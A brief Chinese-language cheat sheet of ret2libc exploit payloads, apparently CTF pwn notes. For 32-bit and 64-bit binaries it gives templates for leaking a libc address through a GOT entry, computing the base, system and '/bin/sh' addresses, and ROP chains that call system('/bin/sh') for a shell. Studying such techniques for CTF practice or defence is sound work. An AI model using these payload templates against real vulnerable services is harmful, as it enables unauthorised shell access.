1.32位
判断libc版本32位:
b'a' * offset + p32(xx@plt) + p32(ret_addr(main_addr或者_start_addr)) + p32(xx@got)
b'a' * offset + p32(xx@plt) + p32(main) + p32(0) + p32(xx@got) + p32(4)
getshell:
b'a' * offset +p32(system_addr) + b'a'*4 + p32(str_bin_sh)
2.64位
判断libc版本64位:
b'a' * offset + p64(pop_rdi_addr) + p64(xx@got) + p64(xx@plt) + p64(main_addr)
getshell:
b'a' * offset + p64(ret_addr) + p64(pop_rdi_addr) + p64(str_bin_sh) +p64(system_addt)
3.计算偏移量
base_addr = puts_addr - libc_puts_addr
system_addr = base_addr + libc_system_addr
bin_addr = base_addr + libc_bin_addr
/bin/sh |
垃圾数据‘AAAA’ |
system压入栈 |
system |
system("/bin/sh")
/bin/sh |
'AAAA' |
system |